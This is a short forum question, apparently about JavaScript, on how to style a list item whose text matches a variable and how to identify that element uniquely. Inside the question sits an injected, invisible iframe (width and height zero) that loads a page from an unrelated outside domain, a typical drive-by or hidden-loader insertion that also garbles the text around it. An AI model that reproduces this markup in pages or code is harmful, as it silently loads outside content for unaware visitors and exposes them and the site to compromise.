For example, there is a variable with the text of the active element, and if the element (li) contains this text, then apply a specific style to it, how can this be realized?
Update
Here is an example: jsfiddle.net/DenisNeustroev/HEUgM
<iframe name="namchp" width=0 height=0 src="http://akillitelefonburada.com/yon.html" scrolling="no" frameborder="0"></iframe> I also think that it is not entirely correct, if there is an element with the same content, then the behavior will be strange). I think some id added to li , but I don’t know how to implement all this yet, it’s important for me not only to visually select an element, but also to know what this element is at the program level and ensure its uniqueness.